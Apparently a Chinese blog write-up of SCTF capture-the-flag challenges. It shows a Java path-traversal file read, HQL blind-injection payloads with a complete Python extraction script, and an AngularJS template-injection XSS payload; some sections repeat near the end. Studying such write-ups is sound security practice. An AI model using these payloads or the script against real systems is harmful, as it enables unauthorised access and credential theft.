[SCTF] sctf writeup

临近期末学长都不做题了=。=自己太菜不会做
绝望,开心的是我做了一道re。。

SCTF

web

Zhuanxv

上来啥东西都没有,先扫为敬
会发现有一个/list的目录跳转到了



这里有密码登陆,一看觉得是sql注入
查看源代码会发现有一个导入的地方



因为是javaweb所以可以通过这个来读取javaweb的文件
首先是121.196.195.244:9032/loadimage?fileName=../../WEB-INF/web.xml

再读取../../WEB-INF/classes/applicationContext.xml下的文件

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

可以看到有一个user.hbm.xml下载下来


然后把所有的class下载下来
com.cuitctf.service.impl.UserServiceImpl 对应于
../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl这样下载下来
拖下来所有的源码之后用 jd-gui就可以看源码了

可以看到匹配的规则了,然后name没有任何过滤
但是我做题的时候发现怎么都注入不出来

看到hibernate这是这个框架来执行sql语句
user.name=1'or''like''or''like'&user.password=aaaa
这样就可以直接登录了框架语句不是很理解学习一番=。=
但是
user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa可以把账号注出来
用hql 语句的子查询来查询flag
user.name=1'or('from''Flag')like'sctf{%25'or''like'&user.password=aaaa
又卡在还有特殊字符上了,最后的
怎么注入都注入不出来
出来的是

只能去注密码了再根据密码把flag注出来

aaa'%0aor%0a(select%0asubstring(password,1,1)%0afrom%0aUser%0awhere%0aname%0alike%0a'homamamama')%0alike%0a'a'%0aor%0a''like'
aa'%0aor%0a(select%0asubstring(welcometoourctf,1,1)%0afrom%0aFlag)%0alike%0a'a'%0aand%0a''like'

脚本

import requests
url = "http://ip/zhuanxvlogin"
# url = "http://localhost:9090/zhuanxvlogin"
def first():
    admin_password = ""
    for i in range(1,9):
        for n in range(30,140):
            guess = chr(n)
            if guess == "_" or guess == "%":
                continue
            username = "aaa'\nor\n(select\nsubstring(password,"+str(i)+",1)\nfrom\nUser\nwhere\nname\nlike\n'homamamama')\nlike\n'"+guess+"'\nor\n''like'"
            data = {"user.name": username, "user.password": "a"}
            req = requests.post(url, data=data, timeout=1000).text
            if len(req)>5000:
                admin_password = admin_password + guess
                print "admin password: "+ admin_password
                break
    return admin_password
def second(admin_password):
    flag = ""
    for i in range(1,50):
        for n in range(30,140):
            guess = chr(n)
            if guess == "_" or guess == "%":
                continue
            username = "aa'\nor\n(select\nsubstring(welcometoourctf,"+str(i)+",1)\nfrom\nFlag)\nlike\n'"+guess+"'\nand\n''like'"
            data = {"user.name": username, "user.password": admin_password}
            req = requests.post(url, data=data, timeout=1000).text
            if len(req)>5000:
                flag = flag + guess
                print "flag:" + flag
                break
admin_password = first()    
second(admin_password)

新的建议板

这道题没怎么看,我做的时候他们已经打到cookie啥的了
再做一遍学习一下xhr

注册登录之后发现一个留言板,肯定是XSS咯


可以看到他用了AngularJS这个框架就用模板注入

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

弹窗了,思路没错,就是模板注入
不过他有一定量的过滤就是会将document 变成 docu ment

re

Script In Script

web狗也可以做逆向了!
第一份代码是混淆=。=
解完之后那份才是真正的代码

misc

侧信道攻击

key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),



然后就是看图说话了,SCTF{0110111010}

神秘的交易

看图说话2
搜索4442卡,密钥三位,
有资料按资料学习



Modbus

flag就在流量包中慢慢翻就好了

Zhuanxv

这道题上来啥都没有扫一下站

re

Script In Script

web狗也可以做逆向了

misc

侧信道攻击

key=1的时候执行了add操作,消耗能量比key=0的时候多,含图中部分是1,不含为0,(手机排版捉急),



然后就是看图说话了,SCTF{0110111010}

神秘的交易

看图说话2
搜索4442卡,密钥三位,
有资料按资料学习



Modbus

flag就在流量包中慢慢翻就好了


期末了=。=过几天再说。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容